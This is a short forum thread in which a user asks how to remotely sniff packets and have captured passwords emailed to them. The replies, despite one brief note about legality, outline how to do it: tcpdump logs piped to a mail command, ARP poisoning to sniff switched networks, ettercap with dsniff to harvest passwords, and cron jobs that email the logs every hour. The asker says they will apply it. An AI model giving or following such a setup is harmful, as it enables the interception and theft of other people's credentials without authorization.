Hello guys.
Well im not a newbie to say the least.

I'm not requesting for a tool or anything i just want a name of a program that can sniff packets remotely and send the logs to your email.
i want the packets containing passwords etc.

Thanks in advance

Hum (HAHA).

Here is a question for you how is the sniffer to know what is a password and what is not to be able to send it to you? Why are you sniffing remote packets outside of your network sicne that is illegal? If you are sniffing packets inside your network you can script tcpdump to log to a file and then use the mail command like this to send you the file

cat file.log | mail -s"sniffer log" email@email.com

I suggest tcpdump cause you are looking just for passwords according to your post which means they need to be using clear text clients such as pop, ftp, telnet, none secure webpages. Also if you plan to do this on a switched network you will need to use arp poision to get the switch to allow you sniff other machiens or set up a span port on the switch.

what genxweb said +

if your going on the switched network, use ettercap and its switches to just poison the groups and use dsniff to get app your pwds...

then every hour, stop the job (cron to do all this) write the logs, then email you the previous hours logs...

once you actually have each section working, its a sinch to get them together....

ok thanks ill apply that
